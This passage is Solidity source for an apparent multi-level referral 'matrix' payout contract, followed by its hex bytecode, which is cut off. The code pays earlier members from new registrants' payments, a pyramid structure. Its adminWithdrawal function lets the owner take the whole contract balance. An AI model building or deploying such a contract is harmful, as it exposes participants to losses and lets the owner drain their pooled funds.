// Sending reward for first direct associate
sendRewards(referrerAddress, matrixCode, 1);
users[userAddress].firstReferral[matrixCode] = true;
}
userPlacement(currentReferrer, userAddress, matrixCode); // Primary Placement in TurboPower3x3
address partner = users[users[userAddress].primaryMatrix[matrixCode].currentReferrer].primaryMatrix[matrixCode].currentReferrer;
address superPartner = users[partner].primaryMatrix[matrixCode].currentReferrer;
// Bonus Matrix Logic
if(checkBonusMatrixCriteria(partner, matrixCode)){
userSecondaryPlacement(partner, matrixCode, 1, 1);
users[partner].activeBonusMatrixLevels[matrixCode][1] = true;
}
// Elite Matrix Logic
if(checkEliteMatrixCriteria(superPartner, matrixCode)) {
userSecondaryPlacement(superPartner, matrixCode, 1, 2);
users[superPartner].activeEliteMatrixLevels[matrixCode][1] = true;
}
// Third Line payout
if(checkThirdLineCriteria(superPartner, matrixCode)) {
sendRewards(superPartner, matrixCode, 8);
users[superPartner].thirdLinePayout[matrixCode] = true;
}
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id, matrixCode, uint32(block.timestamp));
}
function findFreeReferrer(address referrerAddress, uint8 matrixCode) private view returns(address) {
while (referrerAddress!=address(0)) {
if (usersActivePrimaryMatrixLevels(referrerAddress, matrixCode)) {
return referrerAddress;
}
referrerAddress = users[referrerAddress].referrer;
}
return owner;
}
function checkBonusMatrixCriteria(address partnerAddress, uint8 matrixCode) private view returns(bool) {
if(partnerAddress==owner) {
return false;
}
else if(users[partnerAddress].activeBonusMatrixLevels[matrixCode][1]){ // Check is Partner already has a bonus Matrix
return false;
}
else if(partnerAddress!=address(0)){
if(users[partnerAddress].primaryMatrix[matrixCode].levelReferralCount[2]<2){ // Minimum two users in second line
return false;
}
else {
for(uint64 i=0; i<users[partnerAddress].primaryMatrix[matrixCode].levelReferralCount[2]; i++){
if(!users[users[partnerAddress].primaryMatrix[matrixCode].levelReferrals[2][i]].firstReferral[matrixCode]){
return true;
}
}
return false;
}
}
else {
return false;
}
}
function checkEliteMatrixCriteria(address superPartner, uint8 matrixCode) public view returns(bool) {
// Elite Matrix Logic
return (superPartner!=owner &&
!users[superPartner].activeEliteMatrixLevels[matrixCode][1] && // Check is Partner already has a bonus Matrix
users[superPartner].isActive[matrixCode] && // If Super Partner is active
users[superPartner].primaryMatrix[matrixCode].levelReferralCount[2]==9 && //Partner on the second line has all 9 positions filled
users[superPartner].primaryMatrix[matrixCode].levelReferralCount[3]>=21); // any 21 of the 27 positions in the third line
}
function checkThirdLineCriteria(address superPartner, uint8 matrixCode) private view returns(bool) {
return (!users[superPartner].thirdLinePayout[matrixCode] && // Check if Super Partner has already claimed thirdLinePayout
users[superPartner].isActive[matrixCode] && // If Super Partner is active
users[superPartner].primaryMatrix[matrixCode].levelReferralCount[3]==27); // All 27 positions in the third line are filled
}
function usersActivePrimaryMatrixLevels(address userAddress, uint8 matrixCode) public view returns(bool) {
return users[userAddress].activePrimaryMatrixLevels[matrixCode];
}
function usersActiveBonusMatrixLevels(address userAddress, uint8 matrixCode, uint8 level) private view returns(bool) {
return users[userAddress].activeBonusMatrixLevels[matrixCode][level];
}
function usersActiveEliteMatrixLevels(address userAddress, uint8 matrixCode, uint8 level) private view returns(bool) {
return users[userAddress].activeEliteMatrixLevels[matrixCode][level];
}
function usersActiveBonusMatrixLevelsExt(address userAddress, uint8 matrixCode) external view returns(bool, bool) {
return (users[userAddress].activeBonusMatrixLevels[matrixCode][1], users[userAddress].activeBonusMatrixLevels[matrixCode][2]);
}
function usersActiveEliteMatrixLevelsExt(address userAddress, uint8 matrixCode) external view returns(bool, bool, bool, bool, bool) {
return (users[userAddress].activeEliteMatrixLevels[matrixCode][1],
users[userAddress].activeEliteMatrixLevels[matrixCode][2],
users[userAddress].activeEliteMatrixLevels[matrixCode][3],
users[userAddress].activeEliteMatrixLevels[matrixCode][4],
users[userAddress].activeEliteMatrixLevels[matrixCode][5]);
}
function isRegisteredUser(address user, uint8 matrixCode) public view returns (bool) {
return (users[user].activePrimaryMatrixLevels[matrixCode]);
}
function userPlacement(address referrerAddress, address userAddress, uint8 matrixCode) private {
for(uint i = users[referrerAddress].primaryMatrix[matrixCode].position; i<=(base)**users[referrerAddress].primaryMatrix[matrixCode].level; i++) {
address firstReferrer = users[referrerAddress].primaryMatrix[matrixCode].levelReferrals[users[referrerAddress].primaryMatrix[matrixCode].level][users[referrerAddress].primaryMatrix[matrixCode].position];
users[userAddress].primaryMatrix[matrixCode].currentReferrer=firstReferrer;
if(users[firstReferrer].primaryMatrix[matrixCode].levelReferralCount[1] < base) {
updatePosition(userAddress,firstReferrer, matrixCode);
if(users[firstReferrer].primaryMatrix[matrixCode].levelReferralCount[1] == base) {
updateLevel(referrerAddress, matrixCode);
}
break;
}
else {
updateLevel(referrerAddress, matrixCode);
}
}
}
function userSecondaryPlacement(address userAddress, uint8 matrixCode, uint8 matrixLevel, uint8 secondaryMatrixType) private {
uint8 currentTreeLevel = globalTreeLevel[matrixCode][secondaryMatrixType][matrixLevel];
address referrerAddress = globalTreePosition[matrixCode][secondaryMatrixType][matrixLevel][currentTreeLevel-1][(globalTreePosition[matrixCode][secondaryMatrixType][matrixLevel][currentTreeLevel].length)/3];
globalTreePosition[matrixCode][secondaryMatrixType][matrixLevel][currentTreeLevel].push(userAddress);
emit NewUserPlace(userAddress, users[userAddress].id, referrerAddress, secondaryMatrixType+1, matrixCode, uint64(globalTreePosition[matrixCode][secondaryMatrixType][matrixLevel][currentTreeLevel].length-1)%3+1, matrixLevel, users[referrerAddress].premiumReinvestCount[matrixCode][secondaryMatrixType]+1, uint32(block.timestamp));
// For Bonus Matrix Level 2 Rewards
if(matrixLevel==2 && secondaryMatrixType==1) {
sendRewards(referrerAddress, matrixCode, 2);
}
uint256 positionModulus = globalTreePosition[matrixCode][secondaryMatrixType][matrixLevel][currentTreeLevel].length%3;
if(positionModulus== 0) {
//Upgrade referrerAddress
if(referrerAddress!=owner &&
((secondaryMatrixType==1 && matrixLevel<2) || // Bonus Matrix upgrades max to level 2
(secondaryMatrixType==2 && ((matrixCode==1 && matrixLevel<5) || ((matrixCode==2||matrixCode==3) && matrixLevel<3))) ||
(secondaryMatrixType==3 && matrixLevel<3)
)) {
// Upgrade partner to next level
userSecondaryPlacement(referrerAddress, matrixCode, matrixLevel+1, secondaryMatrixType);
if(secondaryMatrixType==1)
users[referrerAddress].activeBonusMatrixLevels[matrixCode][matrixLevel+1] = true;
else if(secondaryMatrixType==2)
users[referrerAddress].activeEliteMatrixLevels[matrixCode][matrixLevel+1] = true;
else
users[referrerAddress].activeBillionaireMatrixLevels[matrixLevel+1] = true;
}
if(secondaryMatrixType==2 || secondaryMatrixType==3){
if((matrixCode==1 && matrixLevel==5) ||((matrixCode==2||matrixCode==3||secondaryMatrixType==3) && matrixLevel==3)) {
if(users[referrerAddress].reinvestEligibility[matrixCode][secondaryMatrixType]){
users[referrerAddress].premiumReinvestCount[matrixCode][secondaryMatrixType]++;
delete users[referrerAddress].reinvestEligibility[matrixCode][secondaryMatrixType];
}
sendRewards(referrerAddress, matrixCode, secondaryMatrixType==3? 10: 7);
}
} else if(secondaryMatrixType==3 && matrixLevel==3){
sendRewards(referrerAddress, matrixCode, 10);
}
if(globalTreePosition[matrixCode][secondaryMatrixType][matrixLevel][currentTreeLevel].length==3**uint256(currentTreeLevel)){
// Updating the tree level
globalTreeLevel[matrixCode][secondaryMatrixType][matrixLevel] = currentTreeLevel+1;
}
} else if(secondaryMatrixType==2||secondaryMatrixType==3) {
if(positionModulus == 1) {
if((matrixCode==2||matrixCode==3) && matrixLevel==2){
// Register in Millionaire/Junior club
if(!isRegisteredUser(referrerAddress, 1)) {
registration(referrerAddress, users[referrerAddress].referrer, matrixCode-1);
} else {
users[referrerAddress].eligibility[matrixCode-1] = true;
}
} else if((matrixCode==1 && matrixLevel==5) ||((matrixCode==2||matrixCode==3||secondaryMatrixType==3) && matrixLevel==3)){
// Bonus Auto Reinvest
users[referrerAddress].reinvestEligibility[matrixCode][secondaryMatrixType]=true;
userSecondaryPlacement(referrerAddress, matrixCode, 1, secondaryMatrixType);
emit Reinvest(referrerAddress, matrixCode, secondaryMatrixType, matrixLevel, uint32(block.timestamp));
// Premium Elite Profits
sendRewards(referrerAddress, matrixCode, secondaryMatrixType==3 ? 9: 6);
if(matrixCode==1 && secondaryMatrixType==2 && referrerAddress!=owner){
users[referrerAddress].eligibility[4]=true;
}
}
} else if(positionModulus == 2) {
// Premium Elite Profits
if(matrixCode==1 && matrixLevel>=2 && matrixLevel<5 && secondaryMatrixType!=3) {
sendRewards(referrerAddress, matrixCode, matrixLevel+1);
} else if((matrixCode==1 && matrixLevel==5) ||((matrixCode==2||matrixCode==3||secondaryMatrixType==3) && matrixLevel==3)) {
sendRewards(referrerAddress, matrixCode, secondaryMatrixType==3? 10: 7);
}
}
}
}
function updateLevel(address referrerAddress, uint8 matrixCode) private {
users[referrerAddress].primaryMatrix[matrixCode].position++;
if(users[referrerAddress].primaryMatrix[matrixCode].position > base**(users[referrerAddress].primaryMatrix[matrixCode].level)) {
users[referrerAddress].primaryMatrix[matrixCode].level++;
users[referrerAddress].primaryMatrix[matrixCode].position = 1;
}
}
function updatePosition(address userAddress,address firstReferrer, uint8 matrixCode) private {
uint8 _level=1;
uint index;
uint64 pos;
address startUser = userAddress;
while(firstReferrer!= address(0)) {
users[firstReferrer].primaryMatrix[matrixCode].levelReferralCount[_level]++;
if(_level == 1){
pos = users[firstReferrer].primaryMatrix[matrixCode].levelReferralCount[_level];
}else{
for(uint64 i = 1;i <= (users[firstReferrer].primaryMatrix[matrixCode].levelReferralCount[1]);i++){
if(userAddress==users[firstReferrer].primaryMatrix[matrixCode].levelReferrals[1][i]){
index = i;
}
}
pos = pos + uint64(3**(uint256(_level)-1)*(index-1));
}
if(_level<=3){
emit NewUserPlace(startUser, users[startUser].id, firstReferrer, 1, matrixCode, pos, _level, 1, uint32(block.timestamp));
}
users[firstReferrer].primaryMatrix[matrixCode].levelReferrals[_level][pos] = startUser;
_level++;
userAddress = firstReferrer;
firstReferrer = users[firstReferrer].primaryMatrix[matrixCode].currentReferrer;
}
}
function userInfo(address userAddress, uint8 matrixCode) public view returns(uint256, bool, bool, bool, bool){
return (users[userAddress].accumulatedReward[matrixCode], users[userAddress].isActive[matrixCode], users[userAddress].eligibility[4], users[userAddress].eligibility[1], users[userAddress].eligibility[2]);
}
function sendRewards(address recipient, uint8 matrixCode, uint8 rewardType) private {
uint256 rewardAmount;
if(matrixCode==3){
rewardAmount = rewards[2][rewardType]/5;
}
else {
rewardAmount = rewards[matrixCode][rewardType];
}
if (rewardAmount!=0) {
if(rewardType==2 && !users[recipient].isActive[matrixCode]){
users[recipient].accumulatedReward[matrixCode]+=rewardAmount;
}
else {
emit EthPayout(users[recipient].id, matrixCode, rewardType, rewardAmount, uint32(block.timestamp));
return address(uint160(recipient)).transfer(rewardAmount);
}
}
}
function smartContractBalance() external view returns (uint256) {
return (address(this).balance);
}
function adminWithdrawal() external {
require(msg.sender==owner, "Unauthorized access");
owner.transfer(address(this).balance);
}
function transferManager(address payable managerAddress) external {
require(msg.sender==manager, "Unauthorized access");
manager=managerAddress;
}
// Deposit Fallback
function() external payable {}
}
|
0x6080604052600436106101405760003560e01c8063707af19f116100b6578063ba0e930a1161006f578063ba0e930a146104c4578063d28e9361146104f7578063e1b60b91146102be578063e9a179a714610533578063ef55d70b146105a0578063fe557660146105cb57610140565b8063707af19f146103535780638da5cb5b14610382578063a87430ba14610397578063ace2d75c146103f2578063b1c971941461042c578063b9984c7f1461049757610140565b8063481c6a7511610108578063481c6a751461021d578063485cc9551461024e578063567adf15146102895780635e41df4f146102be57806363ffe7e31461030e578063657916101461032357610140565b8063206c5a4a1461014257806327e235e31461017557806332ab3f00146101ba578063348d4487146101cf578063470a4e53146101fd575b005b34801561014e57600080fd5b506101406004803603602081101561016557600080fd5b50356001600160a01b0316610622565b34801561018157600080fd5b506101a86004803603602081101561019857600080fd5b50356001600160a01b031661070b565b60408051918252519081900360200190f35b3480156101c657600080fd5b506101a861071d565b3480156101db57600080fd5b506101e4610721565b6040805163ffffffff9092168252519081900360200190f35b6101406004803603602081101561021357600080fd5b503560ff16610734565b34801561022957600080fd5b506102326108fa565b604080516001600160a01b039092168252519081900360200190f35b34801561025a57600080fd5b506101406004803603604081101561027157600080fd5b506001600160a01b0381358116916020013516610909565b34801561029557600080fd5b506101a8600480360360408110156102ac57600080fd5b5060ff813581169160200135166110f4565b3480156102ca57600080fd5b506102fa600480360360408110156102e157600080fd5b5080356001600160a01b0316906020013560ff16611111565b604080519115158252519081900360200190f35b34801561031a57600080fd5b50610140611147565b34801561032f57600080fd5b506102326004803603602081101561034657600080fd5b503563ffffffff166111e4565b6101406004803603604081101561036957600080fd5b5080356001600160a01b0316906020013560ff166111ff565b34801561038e57600080fd5b506102326113c6565b3480156103a357600080fd5b506103ca600480360360208110156103ba57600080fd5b50356001600160a01b03166113db565b6040805163ffffffff90931683526001600160a01b0390911660208301528051918290030190f35b6101406004803603606081101561040857600080fd5b5080356001600160a01b03908116916020810135909116906040013560ff16611406565b34801561043857600080fd5b506104686004803603604081101561044f57600080fd5b5080356001600160a01b0316906020013560ff166115b1565b604080519586529315156020860152911515848401521515606084015215156080830152519081900360a00190f35b3480156104a357600080fd5b506101a8600480360360208110156104ba57600080fd5b503560ff1661161d565b3480156104d057600080fd5b50610140600480360360208110156104e757600080fd5b50356001600160a01b031661162f565b34801561050357600080fd5b506102fa6004803603604081101561051a57600080fd5b5080356001600160a01b0316906020013560ff166116a6565b34801561053f57600080fd5b5061056f6004803603604081101561055657600080fd5b5080356001600160a01b0316906020013560ff166117d2565b6040805195151586529315156020860152911515848401521515606084015215156080830152519081900360a00190f35b3480156105ac57600080fd5b506105b561183f565b6040805160ff9092168252519081900360200190f35b3480156105d757600080fd5b50610607600480360360408110156105ee57600080fd5b5080356001600160a01b0316906020013560ff1661184d565b60408051921515835290151560208301528051918290030190f35b33600090815260026020908152604080832060018085520190915290205460ff16610683576040805162461bcd60e51b815260206004820152600c60248201526b4e6f7420656c696769626c6560a01b604482015290519081900360640190fd5b3360008181526002602090815260408083206001808552908101835292819020805460ff191690559154825163ffffffff42811682529351600160a01b90920490931693926001600160a01b038616927f4fc2184df6688b8e7c1efa413a2597f02cca0b4c32dcc3e7a9c9d6a89f0fa96792918290030190a461070881336001611894565b50565b60046020526000908152604090205481565b4790565b600154600160a01b900463ffffffff1681565b3360009081526002602090815260408083206004845260010190915290205460ff16610796576040805162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015290519081900360640190fd5b8060ff16600114806107ab57508060ff166002145b6107ed576040805162461bcd60e51b815260206004820152600e60248201526d4f6e6c7920322063686f6963657360901b604482015290519081900360640190fd5b8060ff166001141561083457336000818152600260209081526040808320600484526001908101909252909120805460ff1916905561082f9190806003611df0565b610708565b33600081815260026020908152604080832060048452600101909152808220805460ff1916905551683635c9adc5dea000009082818181858883f19350505050158015610885573d6000803e3d6000fd5b503360009081526002602090815260409182902054825163ffffffff9182168152600192810192909252600b82840152683635c9adc5dea0000060608301524216608082015290517f53f92c96c1a047b4b6e98753daaef0b221fee8f51275a9c98f2e8124b07b46cc9181900360a00190a150565b6001546001600160a01b031681565b60005460ff1615610961576040805162461bcd60e51b815260206004820152601e60248201527f4d794c6561646572733a20416c726561647920696e697469616c697a65640000604482015290519081900360640190fd5b60008054600180546753444835ec5800007f3e5fec24aa4dc4e5aee2e025e51e1392c72a2500577559fae9665c6d52bd6a31819055671158e460913d00007f8819ef417987f8ae7a81f42cdfb18815282fe989326fbff903d13cf0e03ace298190556703782dace9d900007f75f96ab15d697e93042dc45b5c896c4b27e89bb6eaf39475c5c371cb2513f7d25567649d2c967d9500007f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8557f5f3486166877647309981c8ac04440249bce15ac04aa12124ca980947a9a5cbb919091557f1aa088828ea439c2d2cdaa4e7f27dcd7c5331394988678b45d5d5c605686963b5567f9ccd8a1c50800007ff5420ca259a62a5d01b98236cad4b6c63e18c1c4aeae10e9ea108330f776d4795567340aad21b3b700007fc3872fadc793fb0bb284ae601a7003728d4f91ef813a9c52151175538e74d8e955680ad78ebc5ac62000007fae0d4d0ca061c554e850c8013a76c42d75d5ba7cebc01d1240c06efd18fbf8e5556815af1d78b58c4000007f65184d2438cc20d1fa2c68669e77a616b105039ff7427fc7da11ff290af06c3955682b5e3af16b188000007f75db5e6d0b0a914643be9e797917913c95267976bfa5920adfb212a1ca10da6d55681a055690d9db8000007fc3d6b5bf5b90d54aa69b222a74407a90d25d6d819404dc12601203ec9f5a87d1556805a34a38fc00a000007fa6641e8b14150a0351297400bb56b27002e6a9ffe8f6f125df67a1cbc11fcf4a556853cf0f58f0e1e800007fef53030fbb8b7835199b2641ab945b66a1fcf22fecfca6ccbb20552c116cfd95556806621c09223e3f00007ff58f98fb2136a9b2a654947e376dbf91ccc8636e2069ed40c1630aaa30701ce05568014d1120d7b16000007f760747dc7acf5ab1f4e756b22fa7fe3a74df8b12117bfb2032bfcfb5a0e0111f55674563918244f400007fe2dc34d5502c22acea989a4dfbbeb81701945bbe166ed851c65421cf3cd54829556901b1ae4d6e2ef50000007fb59980283f6c038d466b66126cc2a1c266b98fba4147b1a2b41cbaf4b3737967556901e7e4171bf4d3a000007f035c2cdeace37489a6ca969d3b6446dd2407ebfba916f4e19c60bfa30b09d3235560ff19909216811761ff0019166103001762010000600160b01b031916620100006001600160a01b0387811691820292909217855563ffffffff60a01b19909316600160a11b176001600160a01b03199081169186169190911782558284526002602090815260408520805463ffffffff1916841790559382905260039093527fa15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054c80549093169091179091555b60005460ff6101009091048116908216116110ef576001600160a01b038316600081815260026020908152604080832060ff8616808552600982018452828520805460ff19166001908117909155818652600b9092018452828520805467ffffffffffffffff60a81b1916600160a81b17815585805282018452828520828652845282852080546001600160a01b0319168717905582518581529384015263ffffffff42168383015290519093917f11e2b2c394207360e88c330db8d3955275ea7c8412cbdc25dabdb9e4c79a9e93919081900360600190a460015b60058160ff16116110e65760028160ff1611610efe57600080546001600160a01b0362010000918290048116835260026020908152604080852060ff80891680885260089283018552838820918916808952918552838820805460ff199081166001908117909255828a52938652848920818a528652848920838a5286528489208980528652848920895481548084018355918b52878b2090910180546001600160a01b03191699909104909716979097179095559386526007835281862085875283528186209386529290915290922080549092161790555b8160ff166002148015610f15575060038160ff1611155b80610f2357508160ff166001145b15610fef57600080546001600160a01b0362010000918290048116835260026020818152604080862060ff808a16808952600c9092018452828820908916808952908452828820805460ff199081166001908117909255838a5260088652848a20878b528652848a20838b528652848a208a80528652848a208a5481548085018355918c52878c2090910180546001600160a01b0319169a9091049098169890981790965590875260078352818720938752928252808620928652919052909220805490911690911790555b8160ff166001148015611006575060038160ff1611155b156110de57600080546001600160a01b0362010000918290048116835260026020908152604080852060ff8716808752600d9091018352818620805460ff1990811660019081179092557f7becf0f14006b75102d88163b9a180e6d265130330e33a84aa26f94e719bd1a385528388208880528552838820885481548085018355918a52868a2090910180546001600160a01b031916989091049096169690961790945585527fe109eb232531d13b92e9baec800e9aed4ca7b9e4f3a98167c52170a2a319c801909152909220805490911690911790555b600101610e24565b50600101610d48565b505050565b600560209081526000928352604080842090915290825290205481565b6001600160a01b038216600090815260026020908152604080832060ff8086168552600990910190925290912054165b92915050565b6000546201000090046001600160a01b031633146111a2576040805162461bcd60e51b8152602060048201526013602482015272556e617574686f72697a65642061636365737360681b604482015290519081900360640190fd5b600080546040516001600160a01b036201000090920491909116914780156108fc02929091818181858888f19350505050158015610708573d6000803e3d6000fd5b6003602052600090815260409020546001600160a01b031681565b60005460ff61010090910481169082161115611258576040805162461bcd60e51b8152602060048201526013602482015272496e76616c6964204d617472697820436f646560681b604482015290519081900360640190fd5b60ff811660009081526006602052604090205434146112be576040805162461bcd60e51b815260206004820152601960248201527f496e76616c696420526567697374726174696f6e20436f737400000000000000604482015290519081900360640190fd5b60ff8116611371576112d1336001611111565b1561130d5760405162461bcd60e51b81526004018080602001828103825260268152602001806131a46026913960400191505060405180910390fd5b611318336002611111565b156113545760405162461bcd60e51b81526004018080602001828103825260268152602001806131a46026913960400191505060405180910390fd5b61136033836001611894565b61136c33836002611894565b6113c2565b61137b3382611111565b156113b75760405162461bcd60e51b81526004018080602001828103825260268152602001806131a46026913960400191505060405180910390fd5b6113c2338383611894565b5050565b6000546201000090046001600160a01b031681565b60026020526000908152604090205463ffffffff81169064010000000090046001600160a01b031682565b6001546001600160a01b03163314611454576040805162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015290519081900360640190fd5b60005460ff610100909104811690821611156114ad576040805162461bcd60e51b8152602060048201526013602482015272496e76616c6964204d617472697820436f646560681b604482015290519081900360640190fd5b60ff8116611560576114c0826001611111565b156114fc5760405162461bcd60e51b81526004018080602001828103825260268152602001806131a46026913960400191505060405180910390fd5b611507826002611111565b156115435760405162461bcd60e51b81526004018080602001828103825260268152602001806131a46026913960400191505060405180910390fd5b61154f82846001611894565b61155b82846002611894565b6110ef565b61156a8282611111565b156115a65760405162461bcd60e51b81526004018080602001828103825260268152602001806131a46026913960400191505060405180910390fd5b6110ef828483611894565b6001600160a01b0391909116600090815260026020818152604080842060ff958616855260048082018452828620546007830185528387205491875260019283019094528286205491865282862054948652919094205491959085169493841693928316929190911690565b60066020526000908152604090205481565b6001546001600160a01b03163314611684576040805162461bcd60e51b8152602060048201526013602482015272556e617574686f72697a65642061636365737360681b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b0384811662010000909204161480159061170057506001600160a01b038316600090815260026020908152604080832060ff8087168552600c9091018352818420600185529092529091205416155b801561173757506001600160a01b038316600090815260026020908152604080832060ff8087168552600790910190925290912054165b801561177f57506001600160a01b038316600090815260026020818152604080842060ff87168552600b01825280842083855290920190529020546001600160401b03166009145b80156117cb57506001600160a01b038316600090815260026020818152604080842060ff87168552600b01825280842060038552909201905290205460156001600160401b0390911610155b9392505050565b6001600160a01b0391909116600090815260026020818152604080842060ff9586168552600c018252808420600185529091528083205491835280832054600384528184205460048552828520546005865292909420549285169590851694938416939182169290911690565b600054610100900460ff1681565b6001600160a01b0391909116600090815260026020818152604080842060ff9586168552600801825280842060018552909152808320549183529091205490821692911690565b6001600160a01b03821660009081526002602052604090205463ffffffff16611904576040805162461bcd60e51b815260206004820152601760248201527f526566657272657220646f6573206e6f74206578697374000000000000000000604482015290519081900360640190fd5b823b63ffffffff811615611956576040805162461bcd60e51b815260206004820152601460248201527310d85b9b9bdd08189948184818dbdb9d1c9858dd60621b604482015290519081900360640190fd5b6001600160a01b03841660009081526002602052604090205463ffffffff16611a2557600180546001600160a01b0380871660008181526002602081815260408084208054968c1664010000000002640100000000600160c01b031963ffffffff1990981663ffffffff600160a01b9a8b90048116919091178916821783558a548a9004811687526003855292862080546001600160a01b03191688179055959094529190528154909316909117905582548281048216840190911690910263ffffffff60a01b199091161790555b6001600160a01b038416600081815260026020908152604080832060ff87168452600981018352818420805460ff19166001908117909155600b9091018352818420805467ffffffffffffffff60a81b1916600160a81b17815584805281018352818420908452909152902080546001600160a01b031916909117905582611aad8184611111565b611abe57611abb848461281a565b90505b6001600160a01b038416600090815260026020908152604080832060ff87168452600501909152902080546001019081905560031415611b8e576001600160a01b038416600090815260026020908152604080832060ff87168452600781018352818420805460ff1916600117905560040190915290205415611b8e576001600160a01b038416600081815260026020908152604080832060ff88168452600401909152808220829055516108fc919081818181818888f19350505050158015611b8c573d6000803e3d6000fd5b505b6001600160a01b038416600090815260026020908152604080832060ff8716845260050190915290205460011415611c0157611bcc84846001612886565b6001600160a01b038516600090815260026020908152604080832060ff871684526006019091529020805460ff191660011790555b611c0c818685612a29565b6001600160a01b03808616600090815260026020818152604080842060ff8916808652600b91820184528286205487168652848452828620818752820184528286205487168087529484528286209086520190915290912054909116611c728286612bcd565b15611cc357611c848286600180611df0565b6001600160a01b038216600090815260026020908152604080832060ff89168452600801825280832060018085529252909120805460ff191690911790555b611ccd81866116a6565b15611d1f57611ce0818660016002611df0565b6001600160a01b038116600090815260026020908152604080832060ff89168452600c01825280832060018085529252909120805460ff191690911790555b611d298186612d69565b15611d6f57611d3a81866008612886565b6001600160a01b038116600090815260026020908152604080832060ff89168452600a019091529020805460ff191660011790555b6001600160a01b03808816600081815260026020908152604080832054948b168084529281902054815163ffffffff918216815260ff8c16938101939093524281168383015290519416939192917f11e2b2c394207360e88c330db8d3955275ea7c8412cbdc25dabdb9e4c79a9e939181900360600190a450505050505050565b60ff83811660008181526007602090815260408083208686168085529083528184208887168086529084528285205495855260088452828520918552908352818420908452825280832093851660001981019095168352929052818120838252918120549091906003900481548110611e6557fe5b9060005260206000200160009054906101000a90046001600160a01b03169050600860008660ff1660ff16815260200190815260200160002060008460ff1660ff16815260200190815260200160002060008560ff1660ff16815260200190815260200160002060008360ff1660ff1681526020019081526020016000208690806001815401808255809150509060018203906000526020600020016000909192909190916101000a8154816001600160a01b0302191690836001600160a01b0316021790555050806001600160a01b0316866001600160a01b03167fd7bbfeafa71b0f204b8047b13043dea9a81b61209ce2fb00709646c9ec05336b600260008a6001600160a01b03166001600160a01b0316815260200190815260200160002060000160009054906101000a900463ffffffff16866001018960036001600860008e60ff1660ff16815260200190815260200160002060008c60ff1660ff16815260200190815260200160002060008d60ff1660ff16815260200190815260200160002060008b60ff1660ff16815260200190815260200160002080549050036001600160401b03168161201757fe5b066001018a600260008a6001600160a01b03166001600160a01b0316815260200190815260200160002060020160008e60ff1660ff16815260200190815260200160002060008c60ff1660ff16815260200190815260200160002060009054906101000a900461ffff1660010142604051808863ffffffff1681526020018760ff1660ff1681526020018660ff1660ff168152602001856001600160401b03166001600160401b031681526020018460ff1660ff1681526020018361ffff1681526020018263ffffffff1663ffffffff16815260200197505050505050505060405180910390a38360ff16600214801561211457508260ff166001145b156121255761212581866002612886565b60ff858116600090815260086020908152604080832087851684528252808320888516845282528083209386168352929052205460039006806124ec576000546001600160a01b0383811662010000909204161480159061220757508360ff166001148015612197575060028560ff16105b806121eb57508360ff1660021480156121eb57508560ff1660011480156121c1575060058560ff16105b806121eb57508560ff16600214806121dc57508560ff166003145b80156121eb575060038560ff16105b8061220757508360ff166003148015612207575060038560ff16105b156123075761221b82878760010187611df0565b8360ff1660011415612273576001600160a01b038216600090815260026020908152604080832060ff808b1685526008909101835281842060018a81019092168552909252909120805460ff19169091179055612307565b8360ff16600214156122cb576001600160a01b038216600090815260026020908152604080832060ff808b168552600c909101835281842060018a81019092168552909252909120805460ff19169091179055612307565b6001600160a01b0382166000908152600260209081526040808320600189810160ff168552600d909101909252909120805460ff191690911790555b8360ff166002148061231c57508360ff166003145b1561243f578560ff16600114801561233757508460ff166005145b8061236f57508560ff166002148061235257508560ff166003145b8061236057508360ff166003145b801561236f57508460ff166003145b1561243a576001600160a01b038216600090815260026020908152604080832060ff808b16855260039091018352818420888216855290925290912054161561241b576001600160a01b038216600090815260026020818152604080842060ff808c168087529482018452828620908a16808752908452828620805461ffff8082166001011661ffff1990911617905593855260030182528084209284529190529020805460ff191690555b61243a82878660ff16600314612432576007612435565b600a5b612886565b612466565b8360ff16600314801561245557508460ff166003145b15612466576124668287600a612886565b60ff868116600090815260086020908152604080832088851684528252808320898516845282528083209387168084529390915290205460039190910a14156124e75760ff86811660009081526007602090815260408083208885168452825280832089851684529091529020805460ff1916600186019092169190911790555b612811565b8360ff166002148061250157508360ff166003145b15612811578060011415612755578560ff166002148061252457508560ff166003145b801561253357508460ff166002145b156125c057612543826001611111565b61257f576001600160a01b0380831660009081526002602052604090205461257a9184916401000000009004166000198901611894565b6125bb565b6001600160a01b038216600090815260026020908152604080832060ff6000198b011684526001908101909252909120805460ff191690911790555b6124e7565b8560ff1660011480156125d657508460ff166005145b8061260e57508560ff16600214806125f157508560ff166003145b806125ff57508360ff166003145b801561260e57508460ff166003145b156124e7576001600160a01b038216600090815260026020908152604080832060ff808b1685526003909101835281842090881684529091529020805460ff19166001908117909155612665908390889087611df0565b6040805160ff8089168252808716602083015287168183015263ffffffff4216606082015290516001600160a01b038416917f17ca1030193c24f77090aa0a73a1cc52358e0e06bb2c6455413f0b8bba4a6902919081900360800190a26126e082878660ff166003146126d9576006612435565b6009612886565b8560ff1660011480156126f657508360ff166002145b801561271657506000546001600160a01b03838116620100009092041614155b156124e7576001600160a01b0382166000908152600260209081526040808320600484526001908101909252909120805460ff19169091179055612811565b8060021415612811578560ff166001148015612775575060028560ff1610155b8015612784575060058560ff16105b801561279457508360ff16600314155b156127a7576124e7828787600101612886565b8560ff1660011480156127bd57508460ff166005145b806127f557508560ff16600214806127d857508560ff166003145b806127e657508360ff166003145b80156127f557508460ff166003145b156128115761281182878660ff16600314612432576007612435565b50505050505050565b60005b6001600160a01b0383161561286d576128368383611111565b15612842575081611141565b6001600160a01b0392831660009081526002602052604090205464010000000090049092169161281d565b50506000546201000090046001600160a01b0316919050565b60008260ff16600314156128d0575060ff811660009081527f89832631fb3c3307a103ba2c84ab569c64d6182a18893dcd163f0f1c2090733a6020526040902054600590046128f2565b5060ff8083166000908152600560209081526040808320938516835292905220545b8015612a23578160ff16600214801561293757506001600160a01b038416600090815260026020908152604080832060ff808816855260079091019092529091205416155b15612970576001600160a01b038416600090815260026020908152604080832060ff871684526004019091529020805482019055612a23565b6001600160a01b03841660009081526002602090815260409182902054825163ffffffff918216815260ff8088169382019390935291851682840152606082018490524216608082015290517f53f92c96c1a047b4b6e98753daaef0b221fee8f51275a9c98f2e8124b07b46cc9181900360a